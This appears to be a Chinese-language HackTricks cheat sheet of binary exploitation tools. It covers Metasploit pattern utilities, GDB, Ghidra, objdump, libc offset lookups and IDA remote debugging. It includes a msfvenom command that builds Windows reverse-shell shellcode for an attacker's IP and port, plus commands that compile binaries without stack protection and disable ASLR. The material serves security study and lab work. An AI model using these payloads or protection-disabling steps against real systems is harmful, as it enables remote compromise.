Exploiting Tools

从零开始学习AWS黑客技术,成为专家 htARTE(HackTricks AWS Red Team Expert)

支持HackTricks的其他方式:

Metasploit

pattern_create.rb -l 3000   #Length
pattern_offset.rb -l 3000 -q 5f97d534   #Search offset
nasm_shell.rb
nasm> jmp esp   #Get opcodes
msfelfscan -j esi /opt/fusion/bin/level01

Shellcodes

msfvenom /p windows/shell_reverse_tcp LHOST=<IP> LPORT=<PORT> [EXITFUNC=thread] [-e x86/shikata_ga_nai] -b "\x00\x0a\x0d" -f c

GDB

安装

apt-get install gdb

参数

说明

您可以选择使用这个GEF的分支F,其中包含更多有趣的指令。

技巧

GDB相同地址

在调试过程中,GDB的地址与执行二进制文件时使用的地址略有不同。 您可以通过以下方式使GDB具有相同的地址:

  • unset env LINES

  • unset env COLUMNS

  • set env _=<path> 将二进制文件的绝对路径放在这里

  • 利用相同的绝对路径利用二进制文件

  • 使用GDB和利用二进制文件时,PWDOLDPWD必须相同

回溯以查找调用的函数

当您有一个静态链接的二进制文件时,所有函数都将属于二进制文件(而不是外部库)。在这种情况下,识别二进制文件遵循的流程以便例如请求用户输入将会很困难。 您可以通过使用gdb运行二进制文件直到要求输入为止来轻松识别此流程。然后,按下CTRL+C停止它,并使用**bt**(backtrace)命令查看调用的函数:

GDB 服务器

gdbserver --multi 0.0.0.0:23947(在IDA中,您必须填写Linux机器和Windows机器上可执行文件的绝对路径)

Ghidra

查找堆栈偏移

Ghidra 对于查找缓冲区溢出的偏移非常有用,因为它提供了有关本地变量位置的信息。 例如,在下面的示例中,local_bc 中的缓冲区溢出表明您需要一个偏移量为 0xbc。此外,如果 local_10 是一个 canary cookie,则从 local_bc 覆盖它需要一个偏移量为 0xac请记住,保存RIP的第一个0x08属于RBP。

qtool

获取程序中执行的每个操作码。

GCC

gcc -fno-stack-protector -D_FORTIFY_SOURCE=0 -z norelro -z execstack 1.2.c -o 1.2 --> 编译时去除保护机制 -o --> 输出 -g --> 保存代码(GDB 可以查看) echo 0 > /proc/sys/kernel/randomize_va_space --> 在 Linux 中禁用 ASLR

编译 shellcode: nasm -f elf assembly.asm --> 返回“.o” 文件 ld assembly.o -o shellcodeout --> 可执行文件

Objdump

-d --> 反汇编可执行文件 部分(查看编译后的 shellcode 的操作码,查找 ROP Gadgets,查找函数地址...) -Mintel --> Intel 语法 -t --> 符号-D --> 反汇编所有(静态变量的地址) -s -j .dtors --> dtors 部分 -s -j .got --> got 部分 -D -s -j .plt --> plt 部分 反编译 -TR --> 重定位 ojdump -t --dynamic-relo ./exec | grep puts --> 要修改的 "puts" 在 GOT 中的地址 objdump -D ./exec | grep "VAR_NAME" --> 静态变量的地址(这些存储在 DATA 部分)。

Core dumps

  1. 在启动程序之前运行 ulimit -c unlimited

  2. 运行 sudo sysctl -w kernel.core_pattern=/tmp/core-%e.%p.%h.%t

  3. sudo gdb --core=<path/core> --quiet

更多

ldd executable | grep libc.so.6 --> 地址(如果启用 ASLR,则每次都会更改) for i in `seq 0 20`; do ldd <Ejecutable> | grep libc; done --> 循环查看地址是否经常更改 readelf -s /lib/i386-linux-gnu/libc.so.6 | grep system --> "system" 的偏移 strings -a -t x /lib/i386-linux-gnu/libc.so.6 | grep /bin/sh --> "/bin/sh" 的偏移

strace executable --> 可执行文件调用的函数 rabin2 -i ejecutable --> 所有函数的地址

Inmunity debugger

IDA

在远程 Linux 中调试

在 IDA 文件夹中,您可以找到可用于在 Linux 中调试二进制文件的二进制文件。要这样做,请将二进制文件 linux_serverlinux_server64 移动到 Linux 服务器中,并在包含二进制文件的文件夹中运行它:

然后,配置调试器:调试器(linux 远程)--> 进程选项...:

从零开始学习 AWS 黑客技术,成为专家 htARTE(HackTricks AWS 红队专家)

支持 HackTricks 的其他方式:

最后更新于